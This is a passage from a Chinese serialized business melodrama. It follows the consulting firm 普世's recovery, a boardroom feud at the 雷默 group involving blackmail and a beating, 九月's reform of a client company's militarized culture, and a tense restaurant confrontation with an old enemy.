普世屡遭磨难,因为我们在孤军奋斗,奋不顾身挡住这滚滚溶液,像战士一样哪怕用肉身挡枪口,填融炉,也要将危害消弥在暗处,还世界一个清净。 好在,世上仍有不少正义之士,在危急时刻向普世公司伸出援手,雪中送炭。如今面临这样的事,我们更加不会退缩,会一如既往为世人谋福利,为客户谋发展,为社会做贡献。 我们会将自己手中的专业当成战士手中的武器,把它打磨到最锋利,将普世文化传播到全世界,让世人看到这个世界的运行原本繁花盛放,草长莺飞的模样。不该是满目疮痍,不该是滋长过度放纵的欲望不择手段。 我们力将普世文化成为真正意义上的举世文化,让全球企业客主一心,实现共同发展,共同富裕,这只是我们的目标第一步。 解决了温饱与物质富足,才有机会坐下来谈论文明与精神的高度修炼,实现以文化创造新文明。 普世人,以职业为武器守护每一寸净土,为它们负责到底。正在用我们的核心价值观,开创新文明世界,立足于良知,立足于向善。也希望社会能还普世人一个公道和公平,让坚持正义的人看到希望!” 新闻发布会的视频在二十四小时内被火爆传播,滚动播出,尚云振耳发聩的声音、掷地有声的大义、无以复加的悲愤,在公众之间引起强烈共鸣。 连三岁小儿都高呼,还普世一个公道。 无数人留言写信给关之洁,让她坚强,别再做傻事。甚至有人向关之洁表白,只要她好起来,愿意陪她一起面对风雨。 也有很多接受过普世扶持与合作的企业,以基克纳为首实名声援普世,决心与普世文化站在同一阵线。 事件酝酿到一定程度,藏在暗处的人终于因为各方面高压,在警方全面追溯下,绑架关之洁的三名汉子认罪伏法。 经关之洁确认之后,收押问审。 “感谢你能配合公司演这出戏。”木信说。 关之洁并没有真的自杀,那些血液也都是颜料。医院和警方也早就跟普世公司达成共识,共同演绎这场亦真亦假的剧本,要破译这起案件:“我也是为了自己,公司从头到尾都是为了我找出真凶,我应该感公司。” “接下来打算怎么办?”木信问,因为关之洁早就提了辞职,她觉得普世是家好公司,但这里有痛苦回忆,她仍旧想离开。 “我找到真爱了,准备回家相夫教子。”她浅浅一笑。 “那恭喜你!也祝福你。”木信也笑道。 关之洁的事情终于落下帷幕,但黑暗之源却并没有被挖掘出来,无论如何审理,三人都一口咬定,事情始末就是他们三人的主意,不是受人指使。 一波未平,一波又起。 又有劲爆新闻曝出,克普公司出现裁员危机,曾经的龙头企业,竟拟出超长裁员名单,连一些内部人员心照不宣认为稳若泰山的岗位,竟然也在名单之列。 有记者通过内幕消息,确定裁员事宜属实。只是裁员计划没那么容易实施,克普面临诉讼官司和人资纠纷,不是一朝一夕的时间可以解决,这恐怕是场拉锯战。 小竺这个月子注定是坐不安稳了。 一个电话进来,只听电话那端传来席浪急迫的声音道:“董事长,情况不妙。股东们把股票低价抛出去了。现在大部分股票被同一个人收购。还有,我们年前收购黎江那边的景程股份,提供货源的供应商,突然全都停止原料供应。工厂那边都停产了。明天就是交货期,我们将面临交期违约巨额赔偿。” 小竺依在床头一动不动,不惊也不乍,看来也知道此事了。冷静地发出指令:“查一下返收股票的人是谁?” “查了,对方匿名操作,目前还查不出来。” 席浪的回答,令她再次陷入冰点。小竺说道:“采购总监在做什么?” “纪总监带领着众人四处联系往日合作厂商,争取能弥补原料的缺口。” “短时间内怎么可能找到完全匹配的稀珍原材料,就算找到,只怕也没有这么多存货。”小竺闭上眼睛,食指按压眉心。 电话里又传来一番话:“在知道纪总监私自接这笔单的时候,我就阻止过他,天下根本就不会掉馅饼,没想到他竟然瞒着我偷偷进行!” “纪镇没有这么大胆量,你高估他了。这是一个圈套,早就挖好陷阱,他是被人推下去的。”小竺站起来,她已经出院回了家,由两名月嫂照顾她。她拉开落地窗帘,房间里顿添几分空旷。 席浪电话那头分析道:“我也觉得这笔订单来得奇怪,利润出奇的高。当时纪总监说如果这笔单成功,就有助于十月份的扩展,能让公司至少受益三十个亿。可是现在,不仅没有任何收益,反而面临巨额赔款。如果赔款,不仅十月份的扩展计划泡汤了,就连雷默本身资产也受巨创要缩水,而且公司声誉上肯定会大受影响,这也削弱了雷默的实力!董事长,我们接下来该怎么做?” 受到箫小竺的镇定影响,席浪恢复了从容,只是情况不容乐观,仍是无法松懈。这一次腹背受敌,形势严峻,纵使箫小竺本领再大,也是寡不敌众。 如果景程和克普两个重点投资的项目同时受损,雷默将元气大伤,如果一切都是林作杰在背后搞鬼,那么他无异于杀鸡取卵。让雷默这样连受损失,就算将箫小竺赶出雷默,他也只能得到雷默一幅空壳。 “这事是林作杰干的。自从逼琳达退下董事长之位后,从来没消停过。在这种时候弄出这么多事情来,倒是出乎我意料。看来他不惜一切代价要夺回对雷默的掌控权,若他的计划成功,我在雷默就再也站不住脚;若他的计划失败,雷默将从此分崩离析,彻底颠覆。他这是存了同归于尽的决心。”箫小竺语气笃定,却带着毫不惧怕的冷静:“既然他不顾一切要送死,那我就奉陪到底,今年秋季的宝宁市商会是逃不掉狼烟战火了。你想办法稳住那些还没来得及抛股的股东,招开董事会。让他们再等一天时间,并承诺下去,如果因为这一天而造成的任何损失,我们会加倍偿还。另外,通知公关部挡住所有媒体记者,给我备车,来接我出去一趟。” 席浪很快便派了车过来,亲自开车接箫小竺出去了。 第一百七十七章 小竺借商会施压 天幕渐渐擦黑,城市灯火通明,结束了白天的喧嚣,又开始了别开生面的夜间喧闹。 风云变幻,光阴如驹过隙。宝宁宁早已没有往日的安宁平静,却有种风雨欲来风满楼的意味。除了几个深陷漩涡中的当事人,像被困于笼中的斗兽有志难伸,公众们也嗅到了危险的气息,人人自危。 谁都不知道明天醒来谁将失业,谁将受牵连。对事件的预判与盲猜让生活的可怕与无情显露无遗。 金色轿车停在一栋别墅大门口,醒目的侍卫早已注意到,忙致电请示主人于德。 “哟,箫董来了。箫董有什么事一句吩咐就行,何必劳您大驾呢。来来来,快请进。”于德满脸堆笑,亲自把箫小竺请进屋。席浪则自动守在门外。 整个宝宁市现在都知道克普的现状,也知道景程的遭遇。但这个女人当初能平步青云从籍籍无名变成雷默集团的董事长、商会的会长。万不能小看,一张平静无波的表像下,藏着翻云覆雨的本领,掌握着自己意想不到的生杀大权。 谁敢不敬? “箫董喝茶。”于德斟满小小一杯递到她面前。 “你应该知道我为什么来。”箫小竺冷眼肃面,面无表情的接过茶,眯着眼放在鼻子下玩摆品闻,并不急于喝。 “景程的事情我已经听说,但我这里也确实拿不出原材料,目前仅有的也都是老客户几个月前就订了的。” “林作杰来找过你。”箫小竺冷冷一笑,杯中的茶早已喝干净,她把玩着手上的精致瓷杯。 林作杰来来找自己的事,她怎么会知道,于德心里狐疑,嘴上可不敢隐瞒:“哦。对。他也是为了景程的事情来找我,我跟他也是这么说的,产量本就不高,供不应求,老客户订单尚未满足,又如何敢去接济外应?” 本来只是诈他一下,没想到林作杰真的来过。“那好,既然于董事长见死不救,那就别怪箫某不讲情面。于德,天下在我眼中,已经没有秘密。你做的那些交易,若想人不知,除非己莫为。我将它放在网上,让世人品鉴,看看道貌岸然的于董事长幸福美满的家庭和风生水起的事业还能保住几分。” 于德本来想拿茶杯喝茶,箫小竺的话音未落,他的茶杯已经掉在地上摔得稀碎。 一只漂亮的白猫受惊,逃也似的蹿上楼了。 “于董别惊谎,只要你乖乖照做,我就什么都不知道。”箫小竺嫌恶的瞥他一眼。 “您放心,我全听您的,以后朝阳的订单去向,都凭箫董决定。”于德脸色苍白,额上沁出细细密汗。 “很好,久闻于总是泡茶高手,如今得以亲眼所见果然属实。碧螺春能泡到这个境界,不是一般的开通。” 有会说话的,就有会听话的。于德哪能听不出萧小竺的言下之意:“哪里哪里,这还得归功于箫董倾力指引啊。” “很好,我三天内就要收到原料。”冰冷的视线,直直照在于德脸上,于德的笑脸马上僵了一下。 “三天?”于德反应迅速,不亏是商场老手:“当然,只要是箫董有需求,我全力以赴。” “朝阳能有今天的辉煌,少不了老客户的支持,如今你为了成全景程轻而易举地放弃老客户,竟然不留半点情面。” 于德冷汗直冒:“萧董,那我……我要怎么做?” “做个聪明人,于董在行,需要我教么?”箫小竺也不看对面的于德,淡淡的说:“景程不想成为众矢之的,也不希望颗粒无收,你自己去平衡,明白吗?” “……明白。”怎么风向突变了。 “现在就下订单,有问题吗?” 于德心里揣着明白,忙道:“没问题,那我们之前所谈……”箫小竺比自己想像中的更加难缠,掌握了宝宁市的商业链,拳头一紧一松,于他们都是极大的动荡。何况他手上捏住了自己不少把柄,又是堂堂商协会长,自己不得不畏惧。 “我们之间的约定,不变。” “既然箫董发话,我马上就吩咐下去。”于德点头,替小竺添上茶。 “这杯口太豁了,茶就容易溢出,装不住茶的杯子就没用了。于董你觉得是吗?”警告的意味,随着茶雾漫延。 于德一怔,赶紧正色道:“箫董事长,您放心!这事我绝口不提,否则,您就拿我是问。” “很好,谢谢于总的热情招待。告辞!” 于德赶紧跟上,送着箫小竺出去,又一阵客套。待他车走远了,才抹了额头上的细汗,这尊大佛,不好对付。 金色轿车驶出一段路程后,席浪欲言又止,从后视镜瞄了她一眼,见她心情不佳,把到嘴边的话咽下去了。 “你想说什么?” “我们回雷默还是?” “林作杰趁我在家中坐月子,四处打点,坏我好事。我总得先去会会他。” “一不作二不休,趁这个机会,将他铲除。”席浪狠狠说道。 “不可!”小竺看了席浪一眼,“熊光他们三个惹出来的麻烦刚刚过去,你又要给我捅篓子。咱们厚山产业根基未稳,在与外资达成联盟之前先别轻举妄动。” “那岂不是任林作杰在雷默为非作歹。” “见机行事。” 金色轿车又马不停蹄赶至雷默。众人见了箫小竺煞是惊讶,纷纷打招呼。 箫小竺正眼都不瞧,径直去了林作杰办公室。但他本人并不在公司,于是叫他助理过来问情况。 “董事会雍总的儿子大婚,林总去参加婚礼了。” 箫小竺脸色变得更加难看,这么大的事,竟然没人告诉她,他们是合力将她排挤出圈子了。 这份屈辱要是闷不吭声咽下去,只怕哪天就要骑在我箫小竺的头上了。 席浪让助理下去。 她在林作杰的办公桌前坐下,随手拉开他的抽屉,都是一些办公资料,凌乱而毫无价值。但最下边的抽屉打不开,她毫不犹豫的对席浪说道:“把这个抽屉打开。” “是。”席浪便找到工具,咚咚咚把抽屉敲了个稀烂。 “继续,只要上锁的,全部给我敲烂!”箫小竺冷声道。 众人听到哐啷哐啷的声音,在门口快速张望了一眼,没人敢出言制止。 但还是有人悄悄躲在洗手间,给林作杰打了电话。 林作杰十万火急赶回雷默集团的时候,自己办公室已经一片狼籍。 “箫小竺!你个疯子!”林作杰怒向胆边生,就要扑过去。 席浪是练家子,不待他接近箫小竺,就已经三下五除二制住了他。 箫小竺这才放下二朗腿,手里拿着一张报告和一份药剂,走至他身边声色俱厉道:“你的保险箱里为什么会有这个?说啊!” 林作杰被席浪压在地板上,手反在背上,此时,胖乎乎的脑袋吃力的看了一眼小竺手中的东西,顿时变了脸色。 第一百七十八章 雷默内乱 小竺狠狠一巴掌扇在他脸上:“狼心狗肺的东西,我父亲待你怎样,你心中没数吗!你要置他于死地!给我往死里打!” 席浪一顿拳打脚踢落在他身上,有的人报了警,众人将席浪拉开。林作杰一息尚存,口鼻流血,他仰躺在地板上,唇边的血液泡沫流到了腮边,牙齿染成了暗红色。 他发出仿佛来自地狱般的笑,断断续续,“若不是你父亲叫我吞掉慕九月那五十万,我就不会离开金仕集团,也不会进入雷默集团,十几年来被你父亲死死辗压,控制,做我不想做想的事。 我活得憋屈之极,看似荣华富贵,位高人臣,却活得不如一条狗! 我成为今天这样,是我活该,是我贪焚,是我罪有应得。但你父亲也死有余辜,我不后悔我所做的一切报复,我要让他苦心经营的雷默毁于一旦,我要让你亲手毁了箫家的基业。” “住嘴!你给我住嘴!”席浪和小竺被众人拦着,不然早就冲过去了。 “雷默集团本来就不是你们箫家的,这是古力详的产业,是普世公司创始人尚云父亲的产业。你们父女俩丧心病狂让古家家破人亡,让慕家家破人亡,又对古尚云、慕九月赶尽杀绝,极力打压普世文化,不给他活路。当真以为世上没有人知道你们的所作所为吗?董事会心知肚明!老天不会让你们为所欲为,哈......哈......哈......” 众人哗然! 要不是众人拦着,只怕林作杰早已死了一千次一万次了。 随着警笛声越来越近,小竺也气力渐弱,小腹剧痛,栽倒在地。 “箫董!”席浪顾不上管林作杰,抱起小竺便往外冲。 一时间,雷默动荡,经此浩劫,元气大伤,各处投资不断缩水,投资失利。昔日荣光不再。 潜力无限的雷默集团股市一夜之间股价降到冰点,雷默集团的总经理被董事长带人欧打致残,至今仍在重症病房监护治疗。 董事长箫小竺也因刚产子无法主理大事。 董事会渐渐出卖股权,或变现退股。雷默陷入进退惟谷的境地。 前董事长琳达为救补借债无数,而各高层领导一个都不见踪影,群龙无首,经营停滞,总公司所有职员均惶恐待命,十里长街,都是罢工的工人和试图维持秩序的管理人员以及社会治安人员。 克普更是官司缠身,除了现有的客户正在维系,基本也无能力开拓市场。口碑日下。 同一时间,相比雷默和克普的窘境,普世则扶摇风起,一日千里。 老甘获知克普内部瓦解的消息,第一时间跟九月分享。 九月淡淡一笑,说道:“对手的倒台不意味着市场自动打开,还是要靠真刀实枪一点点向客户证明,普世公司跟对手公司不一样。客户并不傻,反而对咨询行业多了疑虑,更加谨慎。我们只怕要付诸更大的心力去说服客户,向市场展示诚意和实力。” 老甘还是很乐观:“这是自然的。但是,比起以往被人恶意阻挠和抢单,我们现在付出一分就能得到一分的回报,这就值得可喜可贺。” 九月赞同:“未来很有希望,一起加油!” 完成那些项目后,团队在诺胜公司的工作也如火如荼展开。 路鸣放在九月做深度诊断时,坦言道,“以前公司赚了点钱,我就在别的行业里投资,很少打理公司。但运气不太好,其它行业里的投资最后都血亏了,最后就剩这一家公司。 精力集中在管理公司上之后,才发现公司乱得毫无章法可言。没效率,没纪律,没执行力,没凝聚力。 刚好那段时间是国庆节,看到国家各种军队方阵受了触动。平时我自己就是一个军事迷,这就动了引进军事化管理的念头。 在外面管理咨询公司一打听,还真有不少这样的课程。后来就跟老师一起,将全体员工集中训练,后续按军式管理制度走。” “那这行军礼的事,应该不是管理内容吧?”九月发展在公司各部门转悠时,公司每个人迎面走来必须要敬军礼,很多人觉得别扭,不太适应,就特意绕开行走。 去宿舍参观时,家属看到九月团队,带着惶惑的表情警戒盯着他们。不知道该不该敬礼,手举到一半,松松软软,最终觉得不好意思还是放下去了。 陪同的工作人员说,公司没要求他们这么做,大概率是员工叮嘱家属这么做的。 路鸣放叹息着说道:“这是我从军队文化延伸而来,不这样不行,员工之间关系太冷漠。我就强制性要求所有人见面都要打招呼,行军礼就是打招呼的一种。 以前没有这么严格,凡事睁一只眼闭一只眼,后来公司散漫风气又上来了,发展后来军式化管理被彻底忽略了,才一个多月的功夫,又恢复了以前的状态。 大事小事都推到我这里来做决策,任何事情我不监督就不会有结果。我一怒之下,将所有制度都上纲上线,哪怕只是偶然间犯的小错误,一律不容,照罚不误。包括行军礼的事,也容不得半点马虎,必须执行,贯彻到底。” 怪不得员工战战兢兢,连家属也跟着执行。 九月给公司的文化做发一番梳理,军事气息保留,但行式化的行为取谛。她跟路鸣放说道:“我对军事化管理的理解,可能跟你不太一样。这意味着粹取军事文化的精华,比如:担当,责任与使命必达的内核精神,这些在公司里想办法用行动彻底执行下去,做这些必须设置奖赏、荣誉,让员工心中感觉到特殊荣誉,心甘情愿地去做,才不会沦为形式化。” 路鸣放虽然不知道她要做什么改动,但他听起来蛮有道理。便说道:“好,我只要结果,你尽管放手去改革,我全力支持。” 九月在公司特意成立了军事义务团,组织结构由各个部门负责人轮流担任,任期为三个月。第二步,就开始招揽组织成员。 刚开始几乎没有人加入,门庭罗雀。 九月便公布加入义务团的荣誉与福利,其中,如果想要得到职务晋升,则加入义务团是必须考量条件之一。这是考验一个人的思想觉悟之关键要素。 一些在工作上表现优异的各阶层员工,便开始加入义务团。这个组织正式运营,实行轮流值班制,每天有2-3名成员值班,负责内容: 1.日行一善,传递国家和公司的正能量,比如帮助有困难的员工或家属做点事,哪怕是义务帮助买菜、跑腿的活儿。 2.主动关注公司同事的需求,如对新进员工的指导、对生病员工的慰问,传递公司核心价值观。 3.建言献策,主动向公司提出可行性参考建议,对公司发展有建设性的见解。 4.热情待人,对每一个同事或领导保持热忱,笑脸相迎,值班当日,不含私人情绪。 5.无论任职于哪个岗位,坚决执行“勇于指正,勇于认错”。 刚开始,整个公司还停留在对军事化文化的排斥,因此当月招募到的人并不多。九月说选一些平日里工作表现优秀的积极分子和一些秉性淳朴的员工,作为第一批义务团的“开山”成员。 大家发现这个义务团队做的都是实事,并不像以往一样走形式。公司温情的一面升华,员工善的一面被激发,荣举感也渐渐凸显出来。 特别是有的员工家里出现困难,或者有的员工则是孤家寡母,家属只能跟在身边住在宿舍的情况,军事义务团便轮流每天做些日常帮助,的确给这些家庭带去很多便捷。 文化是具有感染力的。 当每天都有这样的友善力量、无私奉献的事迹在身边发生,众人原来嗤之以鼻的态度开始慢慢转变。尤其自身在偶然间也体验到别人传递过来的温暖时,不由得打心里认可了这种文化制度。 越来越多的人从受惠者转变为温暖传递者。虽然没有了强制员工互相打招呼的敬军礼,却意外地发现,工作氛围已经开始发生正向转变,比之以往要融洽,人际更和谐了。 第一百七十九章 麒麟队实至名归 路鸣放的漂亮庭院,也被利用起来举办文化活动。比如军事义务团的茶话会。后来军事义务团的各种学习活动,比如演讲辩论协会、创新思想协会、管理读书协会等。 路老板的漂亮庭院,被易名为“诺胜书院”,成了公司的“文明之源”。他终于明白九月所说的“一定会让庭院物超所值”,如今见识到了。 军事文化融入到公司的决策、战略和领导风格,就连公司荣誉、成就的标准都有军事文化的缩影。 的确,公司的管理水平和各个方面的竞争力都在持续攀升,人人以加入军事义务团为荣,并且自动认可设定的门槛,这是公司自创办以来从未有过的盛况。 九月最后一次来诺胜公司时,跟路老板聊了挺多。公司变化巨大,让路老板自己都感慨万千,“慕小姐,我觉得,当初花巨资设计那座庭院,真的挺值!” 九月笑着“噢?”一声。显然在问,“为什么这么说?” “如果不是这座庭院,当初你想走,我就留不住你,那公司也不会像今天这样,让我如此省心。” “你错了。”九月摇摇头,“当初的确是打算走。但留住我的不是庭院,而是你虚心接受别人建议的胸怀和反应过来后能随时调整姿态的豁达。” 在九月看来,路老板杀伐果断,在公司决策和管理上很有魄力。尽管性格刚劲,但他非常善于听取他人的建议。 “世上的事非常奇妙,看似复杂牵涉,但真正究其本质,能帮自己的就是自己本身,能害自己的也是自己本身。你我充其量算是互相成就,所以我还得代表普世感谢路老板!” “说的好!我很好奇,普世有多少像慕小姐这样的人才?” “我在普世,只是非常普通的一员,任何人进入普世之后,都会被锻造成像我这样的人。”九月毫不掩饰对公司和同事的热爱。 “培养员工的能力不难,让员工人前人后如此拥戴公司是一门学问。”路老板对普世赞不绝口。 九月笑道:“路老板不用羡慕,诺胜现在也走在这条道路上。所以,临走之前,我得跟你讨个人情。” “慕小姐尽管提。” “你我因某媒体平台上的言论而结缘,那么,今天能否也在媒体平台给普世说句公道话?我们普世自己将自己夸上天,也不如客户一句如实评价效果好。” 路鸣放开心应允:“这是应该的嘛,这都是应该的。慕小姐放心好了。” 路鸣放说到做到,果然专门写了一篇小短文,对普世公司的服务与专业充满溢美之辞。下面还附带上次那次消极言论做为渊源,形成很强烈的对比。 正是路老板这样敢怒敢言,直抒胸臆的性格,很多人知道他不会说谎,性格耿直,反而很有说服力。加之普世文化的口碑一直在线,克普公司巧妙抹黑普世最终自己翻车,情况迅速反转。 半个月的光景,普世再度恢复劫前盛况,很多陷入困境的企业主动上门求合作,分公司的订单也排到了半年之后。 木信知道机会来了。 将原来的统筹计划,统统重新执行起来。原来策划的其他六家分公司,紧锣密鼓的进行准备工作,在年前齐头并进,驻扎在各自的区域。 而九月和其团队收到总部的一纸调令,正式返回总部。 “严教官给我们找到的新办公处,我们刚刚习惯,这就要走了?”老欧不无遗憾的说道。 九月正在整理文件,抬头道:“怎么,还不想走?” 干周则说道:“我们这回算是衣锦还乡了吧?” 任聪难得说句动情的话:“无论是留下还是回总部,只要我们几个在一起,去哪都一样。” 方仔和书生也点点头。“说的对,只要我们团队不散,一切就不会变。” 董事长亲自赐予真正的荣誉称号“麒麟队”,拥有至高无上的权限,驾驭于蓝鲸团队之上。对此,三位蓝鲸团队的总监均无异议,由衷认可。 公司召开全体表彰会议时,主持人上台,隆重介绍:“我们普世顾问团队经历了一场艰难的困境之战,在这期间有人坚守,有人离开。有收获,也有遗憾。 可能大家不知道,有一个特殊团队,诞生于这场危机,临危受命。他们没有专业的知识,完完全全是在实战中学习专业知识。我们看屏幕,这个简陋的办公场所就是他们艰苦奋斗的全部环境,这个破旧的仓库就是他们工作、吃饭、体息为一体的场所。他们毫无怨言,在这里刻苦学习,每天跑完客户回来认真做笔记,一日复一日,从不喊累。从零积累,一路蜕变成精英专业顾问。 在公司处处遭到掣肘时,他们用靠谱专业的服务,为公司迎得了一个又一个订单,打开了一扇又一扇客户的大门,赢得了一次又一次的高度评价。可以说,如果不是他们,公司的荣光可能还要再等上一阵子,如果不是这支团队,国内的市场还会是一片冰封。 所以,今天最高的荣誉应该属于他们,这支神秘的团队,他们被董事长亲自赐予荣誉称号,是普世有史以来第一支“麒麟队”,请五位队员上台领奖,有请咱们董事长尚董上台为他们颁发奖彰。” 尚云上台为他们颁发了荣誉奖杯,每人一枚纯金勋彰。分别与五个人拥抱祝贺。五个小伙站在台上,手捧奖杯,平时说话挺利索的,当天竟热泪盈眶,几度无语凝咽。 任聪是最为沉稳的人,他接过主持人手中的话筒,说道:“谢谢公司对我们的认可,我们会继续努力再接再厉。但今天这个奖,九月姐才是最应该拿奖的人。 如果不是她,我们到现在还是一盘散沙,是大家唯恐避之不及的拉垮者。是大家瞧不起的社会人。但九月姐认为我们有各自的天赋,看到我们身上连自己都不知道的优点,让我们去做自己擅长的事情。 在她身上我看到敬业、专注、包容、耐心、执着和无所畏惧,无论我们面临什么样的艰难处境,她都能沉着并坚定的前进,仿佛世界上没有解决不了的问题,只有暂时还没有想到的解决方案。她为团队的付出,远远要超出我们的想像,换任何一个人来带领我们,可能都不会有今天这样的成绩。 刚组建团队的那天,我们不服她的领导。她说,等你们不需要我的指导和安排,不需要公司一兵一卒的支援,凭借自己的真本事,真刀实枪拼来的业绩,在大家面前直起腰杆。那时再来跟我说要换领导,我会替你们鼓掌,自己卸任。 我们做到了,但我们不想换领导,希望九月姐能上台跟我们一起共享荣誉,永远做我们的领导!” 底下的人都笑了,却有无数人悄悄抹眼泪,报以更加热烈的掌声。 第一百八十章 聚会遇事 坐在舞台下的九月含泪望着这支自己一手打造出来的精英团队,很欣慰。她并不愿意上台,在大家的推搡下,九月只好站上舞台,被几个小伙伴簇拥在中间,摄像师给这支团队留下最光辉的合影。 木信在散会后,找到九月。 “恭喜你!九月。” “恭喜我?回到总部?”九月心情不错。 “当然不是。”木信拿出一纸文件,递给她。 那是关于任命九月为蓝鲸团队副总经理的文件,“公司有这项决议,你好做准备了吗?” 九月脸上的笑容收敛,正色道:“请公司收回成命,我担任不了。” 木信见她不像开玩笑,“为什么?在能力上你让大家看到了实力,在贡献上你更是无人能及,公司对你的期望你也超出大家的期待。你在顾虑什么?” 九月点点,“没错,如果按你说的这些条件,我确实可以胜任。但人各有志,我已经完成了自己在公司的使命,公司也顺利渡过最困难的阶段,几乎可以预见接下来是一段突飞猛进的发展。我留在公司已经没有意义,不过是坐享其成。但对于自己的生活而言,我还有更重要的事情需要去完成。” “你要离开公司?不是,你完成自己的事非得离开公司吗?”木信不解地问道,这出乎他的意料。 “对,一定要离开。”九月去意已决。“有些事你不会明白,我有我的考虑。” “若非不想让你一回来就深感压力,这项任命早在昨天就该发出去的。你不能离开,尚总也不会同意。”木信说道:“他对你有更深远的期望,谁离开也不能是你。离开就意味着背叛。” 九月怔了怔,“我自己会跟他解释清楚。” 散会后,九月迫不及待的回到公寓。 已经将近一年没见到洋洋了。虽然偶尔会跟文菌在微信上联系,但架不住对洋洋的思念,她想第一时间将洋洋抱在怀里感受真实的触感。 “文菌,你下班了吗?” “没有,在赶一篇报道。”最终公司的动向都有正面意义,公司内媒向外放出这些利好消息,为下一步公司举措预热。 她确实够忙活的。况且,文菌还有文创信息部要打理。 “我以为肖宏提上来,你就不会那么忙了。”九月将肖宏提上来做了文创信息部的副经理。 “他也忙得团团转,年底了,不少客户想趁着年会创造自己的文化故事,以让人惊艳的方式演绎出来。所以反而是文创工作最繁忙的时候。我主要在内媒上费了大部分精力,所以肖宏一肩承担了大部分文创信息部的统筹工作。” 听文菌那边霹雳叭啦的打着键盘,九月便说:“那你先忙,我晚点找你。” 文菌松了一口气,欣然答应。洋洋的事还没告诉九月,她还没想好怎么跟她说。 九月又返回公司,去找尚云。 尚云办公室有人,那人是普世公司的律师顾问,很少来公司。 两人之间的谈话似乎很凝重,双方眉头紧蹙,似乎每句话都是深思熟虑后才讲出来的。九月实在好奇,但她没有闯进去。 她就在自己办公室静静等待,尚云似乎也留意到她,期间朝她这边看了看。 任聪他们在团队微信群里发消息,说今晚去吃饭,让九月在楼下等,一会来接她。 她会心一笑,看了看尚云那边,似乎没那么快结束。于是回道:“好啊。” 他们几个人自由惯了,选择的场地一般是热闹奔放型的。对于那些高端餐厅束手束脚的吃饭场合,他们吃不痛快。 果然,选择的是一家相对来说还比较有名的烧烤屋,进去后开放式的堂食,楼上也有雅坐,整整齐齐,却也宾朋满座,菜香四溢。 每一桌都设有烧烤和火锅,可围坐八人。烟雾缭绕,人声鼎沸。 服务生将他们领到楼上空桌,摆上点心茶品。九月落座那一刻,立即看到临桌有人盯着她。她转头看向视线来源,心中一惊,发现对方竟有些眼熟。特别是左颊那一道疤。 见九月看向他,他冷笑着举起右手,手指并排,中指缺了一截。 “我们走吧,换个地方吃!”九月跟任聪他们说。 任聪并没有留意到临桌的人,不解的问:“怎么了?听说这里烤羊排非常正宗,兄弟们都想了一下午了。好不容易才排上号的。” “下次我请你们。”九月站起来,“走吧走吧。” 老欧眼尖,瞅见了临桌的刀疤男不怀好意的挑衅目光。他望着那人,话是对九月说的:“九月姐,不用怕。有我们在他不敢怎么样。” 余下几人听老欧这么一说,也都看向刀疤男。 九月手机一直在桌上振动,她看了一眼,是尚云打过来的。 刀疤男站起来,他那桌三个人也跟着站起来。空气顿时凝固了般。 老欧也站起来,头微垂眼睛却死死盯着他们,手扶着啤酒瓶,随时要爆发一场血战。 九月站起来,挡在他们前面,她看着刀疤男低声道:“你要干什么。” 对方又将手掌在她面前缓缓挥了挥,那残缺的中指尤其醒目:“你让我想起了不愉快的往事。” 任聪走到九月身边,九月下意识用手将他拦在后面:“你想怎么样?” “我想怎样,凭你身后这群乳臭未干的娃娃,还真挡不住。”刀疤男邪邪一笑,把手里一瓶白酒“啪”的一声拍在桌上,说道:“干喝了它,今天就当没见过你。” 说完,大大方方地在他们这桌坐了下来。 任聪不顾九月的阻拦,说道:“喝酒是男人的事,我替她喝了。” “哈哈。你喝?”刀疤男公鸭嗓发出笑声:“你喝那就再加一瓶!” “欺人太甚!”老欧说着就要冲上来,刀疤男身后的两名汉子也朝前走了两步,面露凶光。 “任聪、老欧!都别动。”九月摇摇头,喝止他们。 那道天牢仿佛架在她头上,走到哪都摆脱不了。她在这种黑暗的威胁笼罩下,如履薄冰。然而,尽管自己暂时忘记此事,这些人还是出现在她面前。 逃避不是办法,终归还是要去面对。 “说话算话?今天我喝了这瓶酒,你就不能再为难他们。”九月反而镇定下来。 “当然。” “九月,你不要喝!”任聪按住白酒瓶,这一瓶下去九月就废了。 她静静看他一眼,低声道:“手拿开。” 任聪这次没听她的,拿起酒瓶,就抢着要豪饮,被九月夺了过来。 她闭上双眼,咕咚咕咚闷灌下去,只喝了两口喉九月就觉着喉咙里灼烧如烈火,火山溶液般一路流经五脏六腑,在腹部炙烤。 这时,有个人影快速过来从她手中抢下酒瓶。 众人皆是一惊,注意力从九月身上转移到这个人影身上。 “尚总!”众人叫道。 第一百八十一章 我们结婚吧 刀疤男站起来,手中那柄黑色铁扇点了点尚云胸口。“你又是哪位?” “请自重!”尚云捏住铁扇,目光烔烔盯着对方,手中微微用力,铁扇生生给它折弯。 对方看了看铁扇,不禁心中一惊,眼里多了敬畏,知道遇上劲敌。 “我是他们的老板,有什么事跟我说,我想知道他们哪一点冒犯到你。” 刀疤男好汉不吃眼前亏:“碰上就是缘份,这丫头跟我可是有渊源的,今天难得遇上,我请她喝一杯,不为过吧?” “公司有规定,不许员工在外酗酒闹事。像这样拿着白酒对瓶吹,已经严重违反公司规章制度,我现在以上级的身份,勒令他们回去写检讨。”尚云冷着脸,微微眯起的眼睛里闪现出一抹危险寒光。 “你们公司管得够宽呀,现在是员工的下班时间。”刀疤男尽管已经退让,嘴上却不依不饶。 尚云不禁露出愠色:“他们进入公司那一刻起,公司就要每时每刻对他们负责!轮到一个外人要来质疑我公司的规章制度吗?” 刀疤男被呛了一句,脸上抽搐了一下。 “还不快走?回公司写检讨。”尚云转头对几个年轻人冷声说道。 “是,尚总。”几个人低头,鱼贯而行。 尚云回头看了看面露凶光的三人一眼,转身离开了。 到了停车场,尚云走过来,跟任聪他们打了招呼,“你们先回去吧,我找九月有点事。” 任聪便带着人开车离开了。 “刚才那些是什么人?跟你有什么渊源?”尚云开着车,面色稍微缓和,也不看九月一眼。 “以前的事了。我为了救宇琪,断了他一截中指。”九月也不隐瞒,怏怏问道:“你怎么知道我们在这里?” “听木信说你下午在公司等我,我忙完你已经走了。”他根据她的手机定位找到她的所在地,“要是我没来,你是不是就要把那瓶白酒喝进去?那是白酒啊,你不要命了?” “我能怎么办?”九月也有点气恼,“难道让任聪他们几个打起来,重走老路吗?他们好不容易上岸,一打架就能毁掉这一年来辛辛苦苦塑造出来的形象,以后在总部难免被人诟病。” 尚云哑口无言,车开得飞快。 九月忍不住扶住车顶把手,“为了这事,如此生气,这不像你。” “九月。”尚云终于将车停在路边,怒道:“你真以为我在为这事生气吗?” 她明白了。大概是木信已经把她要离开的事情跟他说了。她低声道:“木信都告诉你了?” 